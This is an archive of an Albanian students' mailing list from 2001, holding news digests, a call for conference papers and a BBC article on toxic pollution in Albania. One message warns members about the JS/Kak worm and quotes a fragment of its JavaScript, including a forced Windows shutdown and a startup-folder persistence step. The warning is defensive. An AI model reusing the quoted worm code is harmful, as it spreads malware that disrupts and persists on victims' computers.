Corbaxhi --------------------------------- Do You Yahoo!? Yahoo! Auctions - buy the things you want at great prices -------------- next part -------------- HTML attachment scrubbed and removed From artin_spahiu at yahoo.com Wed Apr 25 22:47:19 2001 From: artin_spahiu at yahoo.com (Artin Spahiu) Date: Wed, 25 Apr 2001 19:47:19 -0700 (PDT) Subject: [ALBSA-Info] RE: Policet sulmojne studnetet Message-ID: <20010426024719.27718.qmail@web10005.mail.yahoo.com> Dear people, The message "Policet sulmojne studnetet" has an Internet Worm embedded in it, which is called: JS/Kak at M This can be seen on the lines that follow the message: "GetFile(wd+'kak.htm').Attributes=2;fs.DeleteFile(wd+'kak.reg');d=new Date();if(d.getDate()==1 && d.getHours()>17){alert('Kagou-Anti-Kro$oft says not today !');wsh.Run(wd+'RUNDLL32.EXE user.exe,exitwindows');}self.close();S3 driver memory alloc failed !]]%%%%%";la=(navigator.systemLanguage)?navigator.systemLanguage:navigator.language;scr.Path=(la=="fr")?"C:\\windows\\Menu D?marrer\\Programmes\\D?marrage\\kak.hta":"C:\\windows\\Start Menu\\Programs\\StartUp\\kak.hta";agt=navigator.userAgent.toLowerCase();if(((agt.indexOf("msie")!=-1)&&(parseInt(navigator.appVersion)>4))||(agt.indexOf("msie 5.")!=-1))scr.write(); //-->" This should be a modified version of the worm, because it affects also the web based e-mails like Yahoo, besides MS Outlook Express... To learn more about it and see if you are infected go to: http://vil.mcafee.com/dispVirus.asp?virus_k=10509& __________________________________________________ Do You Yahoo!? Yahoo! Auctions - buy the things you want at great prices http://auctions.yahoo.com/ From aalibali at law.harvard.edu Thu Apr 26 07:32:23 2001 From: aalibali at law.harvard.edu (aalibali at law.harvard.edu) Date: Thu, 26 Apr 2001 07:32:23 -0400 Subject: [ALBSA-Info] Conference Message-ID: First Call For Papers The Thirteenth Biennial Conference on Balkan and South Slavic Linguistics, Literature, and Folklore will be held at the University of North Carolina at Chapel Hill, from 18-20 April 2002. Paper proposals are now being accepted in any area related to Balkan and South Slavic linguistics, literature and folklore. If you are interested in presenting at the conference, please send a one-page abstract of your proposed talk by October 1, 2001 to Prof. Robert Greenberg, Dept. of Slavic Languages and Literatures, 425 Dey Hall, CB#3165, University of North Carolina at Chapel Hill, Chapel Hill, NC, 27599-3165. For questions, please e-mail the organizing committee at greenberg at unc.edu ( Robert Greenberg-linguistics), ivuletic at email.unc.edu ( Ivana Vuletic- literature), or curtf at email.unc.edu (Curt Ford-folklore). From aalibali at law.harvard.edu Thu Apr 26 15:51:52 2001 From: aalibali at law.harvard.edu (aalibali at law.harvard.edu) Date: Thu, 26 Apr 2001 15:51:52 -0400 Subject: [ALBSA-Info] Zbulime ne Butrint Message-ID: Diaporit: Zbulohen 6 dhoma luksoze me mermer, shek. I pas Krishtit Lajmi i ores 5:00 PM TIRANE - Gjashte dhoma luksoze te shtruara me mermer, te cilat i perkasin shekullit te I pas Krishtit u zbuluan ditet e fundit gjate nje ekspedite shqiptaro-angleze, ne vilen romake te Diaporitit, qyteze ne jug-perendim te Liqenit te Butrintit. Prof.as.Dr Luan Perzhita, drejtues i pales shqiptare ne kete ekspedite tha per ATSH-ne se, "zbulimi i ketyre dhomave te te shtruara me mermer tregon nivelin e larte te jeteses ne qytezen e Diaporitit". Sipas tij, gjate germimeve arkeologjike eshte gjetur edhe nje kanal qe mendohet te jete shtrire ne te gjithe qytezen per qarkullimin e ujrave. Ne ambientet e ketyre dhomave jane gjetur mjaft objekte arkeologjike si ene qeramike, ene qelqi, gota, filxhan, ene qilari, kandila , monedha etj. Qyteza antike e Diaporitit ndodhet 5 km larg Butrintit jo shume larg qendres antike te Kalivose. Diaporiti eshte permendur vetem si emer ne nje shkrim te arkeologut italian Ugolinit, i cili kishte konstatuar dy rrenoja. Ndersa germimet ne qendren e re arkelogjike te Diaporitit filluan per here te pare vitin e kaluar gjate ekspedites shqiptaro-angleze. in/ko (ATSH/BalkanWeb) From aalibali at yahoo.com Thu Apr 26 15:55:15 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Thu, 26 Apr 2001 12:55:15 -0700 (PDT) Subject: [ALBSA-Info] RFE-RL Message-ID: <20010426195515.63209.qmail@web11503.mail.yahoo.com> RFE/RL Newsline, Vol. 5, No. 81, 01-04-26Radio Free Europe/Radio Liberty: Newsline Directory - Previous ArticleFrom: Radio Free Europe/Radio Liberty RFE/RL NEWSLINEVol. 5, No. 81, 26 April 2001 --------------------------------- CONTENTS[A] TRANSCAUCASUS AND CENTRAL ASIA [01] ARMENIAN DEFENSE MINISTER SAYS RUSSIA THE GUARANTOR OF ARMENIA'S SECURITY [02] ARMENIANS ANGRY AT U.S. PRESIDENT BUSH'S STATEMENT [03] ARMENIA RAISES GENOCIDE ISSUE AT COUNCIL OF EUROPE SESSION [04] AZERBAIJAN TELLS COUNCIL ABOUT TERRORISM, DRUGS IN KARABAKH [05] EXXONMOBIL SUBSIDIARY BEGINS DRILLING IN CASPIAN [06] DESTRUCTION OF BAKU MOSQUE SPARKS PROTEST [07] SHEVARDNADZE SAYS TRANSITION TO CABINET GOVERNMENT WILL BE SMOOTH [08] 'TERRITORIAL INTEGRITY' MOVEMENT ESTABLISHED [09] GEORGIANS TOP LIST OF FOREIGNERS SEEKING PERMANENT STATUS IN MOSCOW [10] TBILISI WANTS BAN ON METAL EXPORTS TO STOP POWER LINE THEFTS [11] UN SECURITY COUNCIL CRITICIZES LACK OF PROGRESS IN GEORGIA-ABKHAZIA TALKS [12] TURKIC SUMMIT ATTRACTS ALL POST-SOVIET TURKIC PRESIDENTS EXCEPT UZBEKISTAN'S [13] KAZAKHSTAN TO SET UP DEVELOPMENT BANK [14] MORE THAN 2,000 RELIGIOUS COMMUNITIES REGISTERED IN KAZAKHSTAN [15] KYRGYZSTAN WILL TALK WITH TALIBAN [16] TAJIKISTAN ISLAMISTS SUPPORT COMMUNISTS [17] TURKMENISTAN FACING SEVERE WATER SHORTAGE --------------------------------- [B] SOUTHEASTERN EUROPE [18] DJUKANOVIC PLEDGES INDEPENDENCE IN 'PRUDENT' WAY [19] ...THROUGH TALKS WITH SERBIA'S DJINDJIC [20] COOK CONFIDENT THAT MONTENEGRO WILL TAKE 'EUROPEAN ROUTE' [21] COUNCIL OF EUROPE TO PRESSURE KOSOVA INTO NEW YUGOSLAVIA? [22] WIFE OF SERBIAN EX-PRESIDENT BLAMES MILOSEVIC FOR HIS DEATH [23] NATO: NO CONSENSUS ON LETTING SERBIAN TROOPS INTO KEY BORDER ZONE [24] MACEDONIAN CENSUS POSTPONED [25] MACEDONIAN PRESIDENT EXPECTS BROAD COALITION SOON [26] CROATIAN PRIME MINISTER TO INVESTIGATE HERZEGOVINIAN PAYMENTS [27] HERZEGOVINIANS SEEK ASSURANCES [28] CROATIAN MASS GRAVE EXHUMATION YIELDS SURPRISE [29] VERHEUGEN ADDRESSES ROMANIAN PARLIAMENT [30] EU FORECASTS FOR ROMANIA NOT ROSY [31] EGYPTIAN PRESIDENT IN ROMANIA [32] ROMANIAN CONSTITUTIONAL COURT REJECTS ANTI-BUDGET APPEAL [33] ROMANIAN PRESIDENT PROMULGATES PUBLIC ADMINISTRATION LAW [34] ROMANIAN INTELLIGENCE SERVICE DIRECTOR GETS FURTHER BACKING [35] RARE UNANIMITY IN MOLDOVAN PARLIAMENT [36] BULGARIAN PREMIER CONFERS WITH POWELL --------------------------------- [C] END NOTE [37] RUSSIA'S JUDICIARY: REFORM AND ITS RESISTORS (PART I) --------------------------------- [A] TRANSCAUCASUS AND CENTRAL ASIA[01] ARMENIAN DEFENSE MINISTER SAYS RUSSIA THE GUARANTOR OF ARMENIA'S SECURITYIn an interview published in "Ayots Ashkhar" on 25 April, Armenian Defense Minister Serzh Sarkisyan said that Russia is the chief guarantor of Armenia's national security, the Snark news agency reported. In other comments, he said that he does not believe that Azerbaijan will shift its current course and seek to impose a military solution to the Karabakh dispute. In any case, he said, if Baku should try to do so, Armenian defense forces are capable of repulsing any such effort. PG [02] ARMENIANS ANGRY AT U.S. PRESIDENT BUSH'S STATEMENTArmenian politicians and public figures on 25 April deplored a statement by U.S. President George W. Bush on the 86th anniversary of the 1915 mass murder of Armenians in the Ottoman Empire, RFE/RL's Armenian Service reported. Bush stopped short of labelling those event a genocide in contrast to what he had promised to do while running for office. Tigran Torosian, the deputy speaker of the Armenian parliament, said that "the United States is not the only country where, as we have just seen, pre- election promises and real life turn out to be different things." PG [03] ARMENIA RAISES GENOCIDE ISSUE AT COUNCIL OF EUROPE SESSIONThe Armenian delegation to the Parliamentary Assembly of the Council of Europe (PACE) on 24 April called on that body to denounce the events of 1915 as a genocide, Armenian television reported the same day. The delegation said that it had collected the signatures of 60 other representatives, although delegation leaders noted that members of the Georgian delegation were among those who had refused to sign. PG [04] AZERBAIJAN TELLS COUNCIL ABOUT TERRORISM, DRUGS IN KARABAKHIlham Aliev, the head of Azerbaijan's delegation to PACE, told that body on 24 April that Nagorno-Karabakh is now a source of terrorism and of drug trafficking, Baku's ANS television reported the same day. Aliev pointed out that Armenia has occupied 20 percent of Azerbaijan's territory and forced one million Azerbaijanis to become refugees. PG [05] EXXONMOBIL SUBSIDIARY BEGINS DRILLING IN CASPIANThe Oguz Operating Company, a subsidiary of the ExxonMobil Corporation, on 24 April announced that it has begun drilling an exploratory well 60 kilometers east of Baku in the Caspian Sea, "Bilik Dunyasi" reported the same day. PG [06] DESTRUCTION OF BAKU MOSQUE SPARKS PROTESTResidents of a Baku region on 24 April staged a protest about the destruction of the Mirtagi Aga mosque on the orders of Baku Mayor Gadzhibaly Abutalybov, "Kommersant-Daily" reported the next day. The paper noted that the destruction of this mosque had introduced complications in Baku's relationship with Turkey, but prior to his departure for the Turkic summit there, President Heidar Aliev expressed his full confidence in the mayor, Turan reported on 25 April. PG [07] SHEVARDNADZE SAYS TRANSITION TO CABINET GOVERNMENT WILL BE SMOOTHPresident Eduard Shevardnadze told a government session on 25 April that "the introduction of a cabinet of ministers [in Georgia] will not cause a revolution," Caucasus Press reported. He said that polls showed that 70 percent of Georgians favor the establishment of such political arrangements. PG [08] 'TERRITORIAL INTEGRITY' MOVEMENT ESTABLISHEDA movement for the territorial integrity of Georgia was set up in Tbilisis on 25 April, Caucasus Press reproted. One of its founders, Sukhum Mayor Gia Chikovani, said that "we will do our utmost for the most rapid restoration of the territorial integrity" of the country. PG [09] GEORGIANS TOP LIST OF FOREIGNERS SEEKING PERMANENT STATUS IN MOSCOWGeorgians lead all other national groups in seeking to obtain permanent resident status in the Russian capital, Caucasus Press reported on 25 April. But the news agency reported that the Russian embassy in Tbilisi now requests that Georgians applying for a visia provide a certificate attesting that they do not carry the HIV virus. PG [10] TBILISI WANTS BAN ON METAL EXPORTS TO STOP POWER LINE THEFTSThe Georgian Fuel and Energy Ministry on 25 April called on the parliament to ban the export of non-ferrous metals in order to stem the wholesale theft of power lines, Prime-News reported. Since 1998, thieves have stripped 1,887 kilometers of high-voltage power lines and sold the metal to foreigners for profit, the agency said. PG [11] UN SECURITY COUNCIL CRITICIZES LACK OF PROGRESS IN GEORGIA-ABKHAZIA TALKSThe UN Security Council issued a statement on 24 April describing the lack of progress toward a political settlement between Georgia and Abkhazia as "unacceptable," AP reported the next day. Dieter Boden, the representative of the UN secretary general, said that "with the support of the security council that I definitely got today, we may be able to speed up the process." PG [12] TURKIC SUMMIT ATTRACTS ALL POST-SOVIET TURKIC PRESIDENTS EXCEPT UZBEKISTAN'SThe presidents of Azerbaijan, Kazakhstan, Kyrgyzstan, and Turkmenistan will attend the Turkic States summit in Turkey on 26-27 April, though Uzbekistan will be represented by its parliamentary speaker, Erkim Khalilov, ITAR-TASS reported on 25 April. PG [13] KAZAKHSTAN TO SET UP DEVELOPMENT BANKPresident Nursultan Nazarbaev on 25 April signed a law creating a State Development Bank, Interfax-Central Asia reported. Seventy-five percent of the shares of the new bank will be owned by the government, with the remainder divided among the local organs of state power. PG [14] MORE THAN 2,000 RELIGIOUS COMMUNITIES REGISTERED IN KAZAKHSTANAccording to "Nezavisimaya gazeta-Religii," No. 8, 2,299 religious communities are registered in Kazakhstan. Of these, 1,150 are Muslim and 220 are Russian Orthodox. PG [15] KYRGYZSTAN WILL TALK WITH TALIBANForeign Minister Muratbek Imanaliev said on 25 April that Bishkek is prepared for talks with the Taliban authorities in Afghanistan, Interfax- Kazakhstan reported. The chief goal of such talks, Imanaliev said, would be to secure Taliban agreement to non-interference in the internal affairs of other Central Asian countries. PG [16] TAJIKISTAN ISLAMISTS SUPPORT COMMUNISTSAccording to "Vechernyi Dushanbe" on 16 and 20 April, Islamists in Tajikistan often back communists and work together with them. PG [17] TURKMENISTAN FACING SEVERE WATER SHORTAGEAllmyrat Ataev, a specialist in water issues, said on Turkmen television on 24 April that Turkmenistan is rapidly approaching the point where the demand for water will be greater than the supply. Because of this danger, Ataev said, he supports a proposal by President Saparmurat Niyazov to create a giant artificial lake in the center of the country. PG --------------------------------- [B] SOUTHEASTERN EUROPE[18] DJUKANOVIC PLEDGES INDEPENDENCE IN 'PRUDENT' WAYMontenegrin President Milo Djukanovic told a press conference in Podgorica on 25 April that the recent parliamentary election "demonstrated that Montenegro has a [growing] front of those forces that advocate restoration of Montenegrin statehood and a redefinition of our relationship with Serbia, " the "Financial Times" reported (see "RFE/RL Newsline," "End Note," 23 April 2001). He told visiting British Foreign Secretary Robin Cook that "there can be no hesitation in the basic national strategic road for Montenegro," which leads to independence via a referendum. Djukanovic made it clear, however, that he is prepared to negotiate with Serbia and not to rush matters. "What lies ahead of us are weeks and months of initiatives. Of course I recognize it is of strategic importance that we seek common ground with Serbia." He also noted that "the election demonstrated that Montenegrin society remains politically divided, which imposes a particular obligation on the government to continue pursuing a cautious and prudent policy." PM [19] ...THROUGH TALKS WITH SERBIA'S DJINDJICDjukanovic said in Podgorica on 25 April that he will negotiate with Serbian Premier Zoran Djindjic, whom he called "the man who really represents the future of Serbia," "Vesti" reported. Djukanovic added that Yugoslav President Vojislav Kostunica is a "man of the past" and not an acceptable negotiating partner. For his part, Djindjic told RFE/RL's South Slavic Service that he is sure that he and Djukanovic "can find the necessary formulas" to define a new relationship between the two republics. Djindjic added that he expects to meet with the Montenegrin leader "soon." Djindjic took shelter from the Milosevic regime's police in Montenegro in 1999 and is well acquainted with political conditions there. PM [20] COOK CONFIDENT THAT MONTENEGRO WILL TAKE 'EUROPEAN ROUTE'Cook said in Podgorica on 25 April: "I leave confident that the approach to constitutional change will follow the European route of dialogue to reach agreement and support through democratic consent," Reuters reported. An unnamed "British official" told reporters that the Montenegrins have backed away from their plans to hold a referendum in July. The official added that he hopes that the referendum will not take place until after serious negotiations with Serbia. PM [21] COUNCIL OF EUROPE TO PRESSURE KOSOVA INTO NEW YUGOSLAVIA?Yugoslav parliament speaker Dragoljub Micunovic told "Danas" of 26 April that his recent visit to the Council of Europe in Strasbourg has convinced him that Europe now has a positive image of Yugoslavia and an increasingly negative one of the Kosova Albanians. Micunovic added that politicians in Strasbourg do not have a clear idea of what they want the region's political shape to be. He said, however, that thinking seems to be in support of a weak Yugoslav federation that will include Kosova as a third republic. Observers note that Kosova's ethnic Albanian majority has made it clear that it wants independence and nothing more to do with Belgrade. PM RFE/RL Newsline, Vol. 5, No. 81, 01-04-26Radio Free Europe/Radio Liberty: Newsline Directory - Previous ArticleFrom: Radio Free Europe/Radio Liberty RFE/RL NEWSLINEVol. 5, No. 81, 26 April 2001 --------------------------------- CONTENTS[A] TRANSCAUCASUS AND CENTRAL ASIA [01] ARMENIAN DEFENSE MINISTER SAYS RUSSIA THE GUARANTOR OF ARMENIA'S SECURITY [02] ARMENIANS ANGRY AT U.S. PRESIDENT BUSH'S STATEMENT [03] ARMENIA RAISES GENOCIDE ISSUE AT COUNCIL OF EUROPE SESSION [04] AZERBAIJAN TELLS COUNCIL ABOUT TERRORISM, DRUGS IN KARABAKH [05] EXXONMOBIL SUBSIDIARY BEGINS DRILLING IN CASPIAN [06] DESTRUCTION OF BAKU MOSQUE SPARKS PROTEST [07] SHEVARDNADZE SAYS TRANSITION TO CABINET GOVERNMENT WILL BE SMOOTH [08] 'TERRITORIAL INTEGRITY' MOVEMENT ESTABLISHED [09] GEORGIANS TOP LIST OF FOREIGNERS SEEKING PERMANENT STATUS IN MOSCOW [10] TBILISI WANTS BAN ON METAL EXPORTS TO STOP POWER LINE THEFTS [11] UN SECURITY COUNCIL CRITICIZES LACK OF PROGRESS IN GEORGIA-ABKHAZIA TALKS [12] TURKIC SUMMIT ATTRACTS ALL POST-SOVIET TURKIC PRESIDENTS EXCEPT UZBEKISTAN'S [13] KAZAKHSTAN TO SET UP DEVELOPMENT BANK [14] MORE THAN 2,000 RELIGIOUS COMMUNITIES REGISTERED IN KAZAKHSTAN [15] KYRGYZSTAN WILL TALK WITH TALIBAN [16] TAJIKISTAN ISLAMISTS SUPPORT COMMUNISTS [17] TURKMENISTAN FACING SEVERE WATER SHORTAGE --------------------------------- [B] SOUTHEASTERN EUROPE [18] DJUKANOVIC PLEDGES INDEPENDENCE IN 'PRUDENT' WAY [19] ...THROUGH TALKS WITH SERBIA'S DJINDJIC [20] COOK CONFIDENT THAT MONTENEGRO WILL TAKE 'EUROPEAN ROUTE' [21] COUNCIL OF EUROPE TO PRESSURE KOSOVA INTO NEW YUGOSLAVIA? [22] WIFE OF SERBIAN EX-PRESIDENT BLAMES MILOSEVIC FOR HIS DEATH [23] NATO: NO CONSENSUS ON LETTING SERBIAN TROOPS INTO KEY BORDER ZONE [24] MACEDONIAN CENSUS POSTPONED [25] MACEDONIAN PRESIDENT EXPECTS BROAD COALITION SOON [26] CROATIAN PRIME MINISTER TO INVESTIGATE HERZEGOVINIAN PAYMENTS [27] HERZEGOVINIANS SEEK ASSURANCES [28] CROATIAN MASS GRAVE EXHUMATION YIELDS SURPRISE [29] VERHEUGEN ADDRESSES ROMANIAN PARLIAMENT [30] EU FORECASTS FOR ROMANIA NOT ROSY [31] EGYPTIAN PRESIDENT IN ROMANIA [32] ROMANIAN CONSTITUTIONAL COURT REJECTS ANTI-BUDGET APPEAL [33] ROMANIAN PRESIDENT PROMULGATES PUBLIC ADMINISTRATION LAW [34] ROMANIAN INTELLIGENCE SERVICE DIRECTOR GETS FURTHER BACKING [35] RARE UNANIMITY IN MOLDOVAN PARLIAMENT [36] BULGARIAN PREMIER CONFERS WITH POWELL --------------------------------- [C] END NOTE [37] RUSSIA'S JUDICIARY: REFORM AND ITS RESISTORS (PART I) --------------------------------- [A] TRANSCAUCASUS AND CENTRAL ASIA[01] ARMENIAN DEFENSE MINISTER SAYS RUSSIA THE GUARANTOR OF ARMENIA'S SECURITYIn an interview published in "Ayots Ashkhar" on 25 April, Armenian Defense Minister Serzh Sarkisyan said that Russia is the chief guarantor of Armenia's national security, the Snark news agency reported. In other comments, he said that he does not believe that Azerbaijan will shift its current course and seek to impose a military solution to the Karabakh dispute. In any case, he said, if Baku should try to do so, Armenian defense forces are capable of repulsing any such effort. PG [02] ARMENIANS ANGRY AT U.S. PRESIDENT BUSH'S STATEMENTArmenian politicians and public figures on 25 April deplored a statement by U.S. President George W. Bush on the 86th anniversary of the 1915 mass murder of Armenians in the Ottoman Empire, RFE/RL's Armenian Service reported. Bush stopped short of labelling those event a genocide in contrast to what he had promised to do while running for office. Tigran Torosian, the deputy speaker of the Armenian parliament, said that "the United States is not the only country where, as we have just seen, pre- election promises and real life turn out to be different things." PG [03] ARMENIA RAISES GENOCIDE ISSUE AT COUNCIL OF EUROPE SESSIONThe Armenian delegation to the Parliamentary Assembly of the Council of Europe (PACE) on 24 April called on that body to denounce the events of 1915 as a genocide, Armenian television reported the same day. The delegation said that it had collected the signatures of 60 other representatives, although delegation leaders noted that members of the Georgian delegation were among those who had refused to sign. PG [04] AZERBAIJAN TELLS COUNCIL ABOUT TERRORISM, DRUGS IN KARABAKHIlham Aliev, the head of Azerbaijan's delegation to PACE, told that body on 24 April that Nagorno-Karabakh is now a source of terrorism and of drug trafficking, Baku's ANS television reported the same day. Aliev pointed out that Armenia has occupied 20 percent of Azerbaijan's territory and forced one million Azerbaijanis to become refugees. PG [05] EXXONMOBIL SUBSIDIARY BEGINS DRILLING IN CASPIANThe Oguz Operating Company, a subsidiary of the ExxonMobil Corporation, on 24 April announced that it has begun drilling an exploratory well 60 kilometers east of Baku in the Caspian Sea, "Bilik Dunyasi" reported the same day. PG [06] DESTRUCTION OF BAKU MOSQUE SPARKS PROTESTResidents of a Baku region on 24 April staged a protest about the destruction of the Mirtagi Aga mosque on the orders of Baku Mayor Gadzhibaly Abutalybov, "Kommersant-Daily" reported the next day. The paper noted that the destruction of this mosque had introduced complications in Baku's relationship with Turkey, but prior to his departure for the Turkic summit there, President Heidar Aliev expressed his full confidence in the mayor, Turan reported on 25 April. PG [07] SHEVARDNADZE SAYS TRANSITION TO CABINET GOVERNMENT WILL BE SMOOTHPresident Eduard Shevardnadze told a government session on 25 April that "the introduction of a cabinet of ministers [in Georgia] will not cause a revolution," Caucasus Press reported. He said that polls showed that 70 percent of Georgians favor the establishment of such political arrangements. PG [08] 'TERRITORIAL INTEGRITY' MOVEMENT ESTABLISHEDA movement for the territorial integrity of Georgia was set up in Tbilisis on 25 April, Caucasus Press reproted. One of its founders, Sukhum Mayor Gia Chikovani, said that "we will do our utmost for the most rapid restoration of the territorial integrity" of the country. PG [09] GEORGIANS TOP LIST OF FOREIGNERS SEEKING PERMANENT STATUS IN MOSCOWGeorgians lead all other national groups in seeking to obtain permanent resident status in the Russian capital, Caucasus Press reported on 25 April. But the news agency reported that the Russian embassy in Tbilisi now requests that Georgians applying for a visia provide a certificate attesting that they do not carry the HIV virus. PG [10] TBILISI WANTS BAN ON METAL EXPORTS TO STOP POWER LINE THEFTSThe Georgian Fuel and Energy Ministry on 25 April called on the parliament to ban the export of non-ferrous metals in order to stem the wholesale theft of power lines, Prime-News reported. Since 1998, thieves have stripped 1,887 kilometers of high-voltage power lines and sold the metal to foreigners for profit, the agency said. PG [11] UN SECURITY COUNCIL CRITICIZES LACK OF PROGRESS IN GEORGIA-ABKHAZIA TALKSThe UN Security Council issued a statement on 24 April describing the lack of progress toward a political settlement between Georgia and Abkhazia as "unacceptable," AP reported the next day. Dieter Boden, the representative of the UN secretary general, said that "with the support of the security council that I definitely got today, we may be able to speed up the process." PG [12] TURKIC SUMMIT ATTRACTS ALL POST-SOVIET TURKIC PRESIDENTS EXCEPT UZBEKISTAN'SThe presidents of Azerbaijan, Kazakhstan, Kyrgyzstan, and Turkmenistan will attend the Turkic States summit in Turkey on 26-27 April, though Uzbekistan will be represented by its parliamentary speaker, Erkim Khalilov, ITAR-TASS reported on 25 April. PG [13] KAZAKHSTAN TO SET UP DEVELOPMENT BANKPresident Nursultan Nazarbaev on 25 April signed a law creating a State Development Bank, Interfax-Central Asia reported. Seventy-five percent of the shares of the new bank will be owned by the government, with the remainder divided among the local organs of state power. PG [14] MORE THAN 2,000 RELIGIOUS COMMUNITIES REGISTERED IN KAZAKHSTANAccording to "Nezavisimaya gazeta-Religii," No. 8, 2,299 religious communities are registered in Kazakhstan. Of these, 1,150 are Muslim and 220 are Russian Orthodox. PG [15] KYRGYZSTAN WILL TALK WITH TALIBANForeign Minister Muratbek Imanaliev said on 25 April that Bishkek is prepared for talks with the Taliban authorities in Afghanistan, Interfax- Kazakhstan reported. The chief goal of such talks, Imanaliev said, would be to secure Taliban agreement to non-interference in the internal affairs of other Central Asian countries. PG [16] TAJIKISTAN ISLAMISTS SUPPORT COMMUNISTSAccording to "Vechernyi Dushanbe" on 16 and 20 April, Islamists in Tajikistan often back communists and work together with them. PG [17] TURKMENISTAN FACING SEVERE WATER SHORTAGEAllmyrat Ataev, a specialist in water issues, said on Turkmen television on 24 April that Turkmenistan is rapidly approaching the point where the demand for water will be greater than the supply. Because of this danger, Ataev said, he supports a proposal by President Saparmurat Niyazov to create a giant artificial lake in the center of the country. PG --------------------------------- [B] SOUTHEASTERN EUROPE[18] DJUKANOVIC PLEDGES INDEPENDENCE IN 'PRUDENT' WAYMontenegrin President Milo Djukanovic told a press conference in Podgorica on 25 April that the recent parliamentary election "demonstrated that Montenegro has a [growing] front of those forces that advocate restoration of Montenegrin statehood and a redefinition of our relationship with Serbia, " the "Financial Times" reported (see "RFE/RL Newsline," "End Note," 23 April 2001). He told visiting British Foreign Secretary Robin Cook that "there can be no hesitation in the basic national strategic road for Montenegro," which leads to independence via a referendum. Djukanovic made it clear, however, that he is prepared to negotiate with Serbia and not to rush matters. "What lies ahead of us are weeks and months of initiatives. Of course I recognize it is of strategic importance that we seek common ground with Serbia." He also noted that "the election demonstrated that Montenegrin society remains politically divided, which imposes a particular obligation on the government to continue pursuing a cautious and prudent policy." PM [19] ...THROUGH TALKS WITH SERBIA'S DJINDJICDjukanovic said in Podgorica on 25 April that he will negotiate with Serbian Premier Zoran Djindjic, whom he called "the man who really represents the future of Serbia," "Vesti" reported. Djukanovic added that Yugoslav President Vojislav Kostunica is a "man of the past" and not an acceptable negotiating partner. For his part, Djindjic told RFE/RL's South Slavic Service that he is sure that he and Djukanovic "can find the necessary formulas" to define a new relationship between the two republics. Djindjic added that he expects to meet with the Montenegrin leader "soon." Djindjic took shelter from the Milosevic regime's police in Montenegro in 1999 and is well acquainted with political conditions there. PM [20] COOK CONFIDENT THAT MONTENEGRO WILL TAKE 'EUROPEAN ROUTE'Cook said in Podgorica on 25 April: "I leave confident that the approach to constitutional change will follow the European route of dialogue to reach agreement and support through democratic consent," Reuters reported. An unnamed "British official" told reporters that the Montenegrins have backed away from their plans to hold a referendum in July. The official added that he hopes that the referendum will not take place until after serious negotiations with Serbia. PM [21] COUNCIL OF EUROPE TO PRESSURE KOSOVA INTO NEW YUGOSLAVIA?Yugoslav parliament speaker Dragoljub Micunovic told "Danas" of 26 April that his recent visit to the Council of Europe in Strasbourg has convinced him that Europe now has a positive image of Yugoslavia and an increasingly negative one of the Kosova Albanians. Micunovic added that politicians in Strasbourg do not have a clear idea of what they want the region's political shape to be. He said, however, that thinking seems to be in support of a weak Yugoslav federation that will include Kosova as a third republic. Observers note that Kosova's ethnic Albanian majority has made it clear that it wants independence and nothing more to do with Belgrade. PM --------------------------------- Do You Yahoo!? Yahoo! Auctions - buy the things you want at great prices -------------- next part -------------- HTML attachment scrubbed and removed From aalibali at yahoo.com Thu Apr 26 17:15:34 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Thu, 26 Apr 2001 14:15:34 -0700 (PDT) Subject: [ALBSA-Info] Per kriminalitetin ne Ballkan Message-ID: <20010426211534.47429.qmail@web11502.mail.yahoo.com> http://www.ansa.it/balcani/fattidelgiorno/20010426220463402/20010426220463402.shtml --------------------------------- Do You Yahoo!? Yahoo! Auctions - buy the things you want at great prices -------------- next part -------------- HTML attachment scrubbed and removed From aalibali at yahoo.com Fri Apr 27 07:45:40 2001 From: aalibali at yahoo.com (Agron Alibali) Date: Fri, 27 Apr 2001 04:45:40 -0700 (PDT) Subject: [ALBSA-Info] BalkanWeb Message-ID: <20010427114540.58940.qmail@web11503.mail.yahoo.com> ATHINE - Sulm i armatosur ndaj dy shqiptar?ve, nj?ri vdes e tjetri plagoset r?nd? n? Athin?. Sipas agjencis? maqedonase MIA, q? citon burime t? policis? greke ngjarja ka ndodhur dje n? lagjen Petralona, kur nj? grup i personave t? armatosur, deri tani p?r arsye t? panjohura, kan? hapur zjarr mbi dy shtetasit shqiptar?. Policia greke ka nisur me hetimet p?r t? hedhur drit? mbi ngjarjet. ad/an (BalkanWeb) --------------------------------- Do You Yahoo!? Yahoo! Auctions - buy the things you want at great prices -------------- next part -------------- HTML attachment scrubbed and removed From kbejko at hotmail.com Fri Apr 27 10:10:04 2001 From: kbejko at hotmail.com (Kreshnik Bejko) Date: Fri, 27 Apr 2001 10:10:04 -0400 Subject: [ALBSA-Info] Albania's Catastrophic Environment Message-ID: BBC News | EUROPE | Albania's environmental wasteland BBC Homepage World Service Education
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Friday, 27 April, 2001, 12:53 GMT 13:53 UK
Albania's environmental wasteland
Durres
People live in the ruins of contaminated factories
Thousands of Albanians are being poisoned on a daily basis by fatal toxins in their environment, a United Nations Environment Programme (Unep) report has revealed.

Map of Albania
Toxic levels thousands of times higher than those permitted in EU states were found on land where children play, vegetables are grown and animals graze.

Even the experts involved in the study were said to be shocked by the extent of the pollution.

They have identified five "hotspots" which they say need immediate attention and another four they consider urgent.

The lives of several thousand children and adults estimated to live in and around one of the hotspots, Durres, are said to be in grave danger.

A chemical plant at Durres produced pesticides and chemicals for leather tanning until it was closed in 1990.

UN testing
UN experts have issued alerts
People, many of them refugees arriving in the town from Kosovo or from even more poverty-stricken parts of Albania, have salvaged bricks from the factory for their homes.

But these are contaminated, meaning they constantly live in an atmosphere of overwhelming toxic poisons, the report says.

In water from one well on the site levels of chlorobenzene - a toxin that affects the nervous system, bone marrow, liver, kidneys, blood and reproductive organs - were found to be over 4,000 times the acceptable level of some European Union countries.

Milk from cows grazing on the land produced high levels of a toxin which causes liver cancer and affects the kidneys and immune system.

Hotspots
Durres: Thousands of refugees living in toxic contamination
Vlore: Families and animals living in very hazardous mercury contamination
Patos: Contaminated groundwater, sulphurous gas and hydrocarbon air pollution
Ballsh: Oil emissions into environment contamination of local water supplies
Sharra: Toxic smoke and dust from burning rubbish
But rather than trying to persuade people to move out of the poison zone, the municipality has begun laying foundations for a building to house them there.

Another cause for grave concern was the former PVC factory at Vlore, where soil samples showed mercury contamination 1,000 times the level permitted by the EU.

Mercury exposure can cause permanent damage to the brain, kidneys and lungs but about 180 families live there.

They graze their animals on the toxic land and feed their families with vegetables grown on it.

Although the government reportedly tried to stop people living there, these attempts have been unsuccessful.

Now it supplies the families with drinking water and sells them contaminated scrap metal and bricks from the factory.

